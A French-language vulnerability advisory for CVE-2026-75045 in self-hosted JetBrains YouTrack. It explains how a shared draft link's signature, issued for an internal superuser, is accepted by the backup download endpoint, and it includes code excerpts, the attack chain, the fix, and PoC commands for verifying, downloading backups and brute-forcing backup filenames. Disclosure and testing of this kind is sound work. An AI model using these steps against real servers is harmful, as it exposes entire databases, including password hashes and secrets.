
CVE-2026-75045 - Téléchargement non authentifié de sauvegarde de base de données via une signature de brouillon partagée dans JetBrains YouTrack (CVSS 9.1)
Statut : PoC reconstruit dans le cadre de la recherche sur les vulnérabilités ; aucun exploit public n'existait au moment des faits. Rapporteur original : Hieu Nguyen (signalé à JetBrains, corrigé le 2026-08-17/18).
| Produit | JetBrains YouTrack (Server auto-hébergé) |
| Affecté | Toutes les versions avant 2025.3.156085, 2026.1.13913, 2026.2.18112 |
| Type | CWE-288 — Contournement d'authentification via un chemin ou un canal alternatif |
| CVSS 3.1 | 9.1 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Post-exploitation | Vidage complet de la base de données : tous les tickets, projets, utilisateurs (hachages de mots de passe, secrets), pièces jointes, paramètres |
| CISA KEV | Non ; EPSS faible ; aucune exploitation dans la nature enregistrée |
EntitySigningService (youtrack-application) émet des jetons d'URL de la forme :
token = base64url( timestamp | userXdId | entityId | sig )
sig = base64( SHA-256( timestamp | userXdId | entityId | user.secret ) )
user.secret — secret par utilisateur (XdUser implémente SecretProviderEntity) ;SecretProviderEntity avec son propre secret, celui-ci est ajouté au sel ;parseSign(token, type) recherche l'utilisateur par id, recherche l'entité par entityId,
recalcule le SHA-256 et compare, puis vérifie now > timestamp → « lien expiré ».Critique : la recherche de l'entité passe par PersitenceExtensionsKt.tryFindById → xodus-dnq
IdsKt.findById :
fun <T : XdEntity> XdEntityType<T>.findById(xdId: String): T {
val session = store.session
val entity = session.getEntity(session.toEntityId(xdId)) // raw store id
return entity.toXd() as T // type NOT checked
}
Le paramètre type est ignoré — toute entité possédant ce store-id est renvoyée, convertie vers le type demandé. La signature est toujours validée car elle est calculée à partir des mêmes champs (horodatage, identifiant utilisateur, identifiant d'entité, secret utilisateur).
Lorsqu'un brouillon de ticket est « partagé » avec une personne externe, XdIssueExtKt.getUrl construit le lien :
if (issue.isDraft) {
res = "$baseUrl/newIssue?draftId=${issue.entityId}"
if (issue.secret != null) // draft marked as "shared"
res += "&sign=" + signing.newSign(
XdDraftOwnerUser.Companion.get(), // <- signer
issue,
SignatureDuration.WORKFLOW) // ~14 days
}
XdDraftOwnerUser est un superutilisateur interne :
@ApiJsDocIgnore
@AllowAllSecurity
public final class XdDraftOwnerUser extends XdSuperUser {
// login = "draft_owner_" + Math.abs(new Random().nextInt());
// password is randomly generated — cannot log in with it,
// but runAs() from the signature uses its identity directly
}
En résumé : chaque destinataire d'un lien /newIssue?draftId=177-5&sign=<token> détient
un jeton intégrant un superutilisateur, valable 14 jours, et le lien est conçu
pour des personnes sans compte.
Les archives de sauvegarde sont servies via des liens signés :
GET /api/admin/backups/<YYYY-MM-DD-HH-MM-SS.tar.gz>?sign=<token>
@GET @CustomAuth @Path("{file}")
public void getBackup(response, file, @QueryParam("sign") sign) {
// SOLE authentication — signature check:
user = entitySigningService.parseSign(sign, XdDatabaseBackupConfig.Companion).getUser();
runAs(user) { // <- principal becomes the token's user
assertAccess(file); // hasPermission(user, ADMIN_READ_APP)
backupFile = backupFolder.getBackupFile(file);
// ... stream the archive
}
}
private void assertAccess(String file) {
if (!security.hasPermission(loggedInUser, Permission.ADMIN_READ_APP))
throw new ForbiddenException(...); // superuser passes
if (file contains '/' or '\\') throw NotFound; // path traversal blocked
}
Chaîne d'attaque :
parseSign(token, XdDatabaseBackupConfig) : l'utilisateur draft_owner_* est trouvé ;
l'entité par store-id est trouvée (il s'agit d'un brouillon de ticket, mais le type n'est pas
vérifié) ; le SHA-256 correspond ; 14 jours ne se sont pas écoulés → le jeton est valide.runAs(XdDraftOwnerUser) → assertAccess voit le superutilisateur → OK.YYYY-MM-DD-HH-MM-SS.tar.gz (heure locale du serveur ; après un téléchargement réussi
le jeton est brûlé dans expiredTokens jusqu'au redémarrage du serveur).BackupFileResource n'a pas été modifié. Changements dans EntitySigningService :
extractInfo : entityId == "null" est désormais rejeté (auparavant les jetons avec
entity=null étaient acceptés pour n'importe quel endpoint) ;newSign(user, entity, ...) — entity est devenu @NotNull ;tryFindByIdOfType a été ajouté — l'entité trouvée est vérifiée quant à son appartenance au
type demandé (getEnclosingEntityClass) ;emailBound et la surcharge parseSign(token, vararg types) sont apparues —
le jeton est lié à une liste de types d'entités autorisés.Désormais un jeton de brouillon sur l'endpoint des sauvegardes → MalformedSignatureException → 403.
poc_cve_2026_75045.py (stdlib uniquement). Uniquement pour les instances que vous possédez ou pour lesquelles vous avez
une autorisation écrite explicite de tester.
# Non-destructive check (downloads nothing):
# 404 on a nonexistent file = token accepted = vulnerable
# 403 = token rejected = patched/invalid token
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--sign "<sign from shared draft link>" --i-am-authorized
# You can pass the full link:
python poc_cve_2026_75045.py --url https://yt.lab.local/ \
--draft-url "https://yt.lab.local/newIssue?draftId=177-5&sign=..." --i-am-authorized
# Controlled download (burns the one-time token):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --download --file 2026-07-15-03-00-00.tar.gz -o out.tar.gz
# Filename brute-force via the 404 oracle (rate limiting mandatory):
python poc_cve_2026_75045.py --url https://yt.lab.local/ --sign <token> \
--i-am-authorized --brute --dates 2026-07-01:2026-07-19 \
--times 03:00,22:30 --spread 60 --delay 0.3
Sortie attendue en mode verify sur un serveur vulnérable :
[*] Control (forged token): HTTP 403
[*] Probe (draft token) : HTTP 404
[+] VULNERABLE: shared draft signature accepted on the backups endpoint.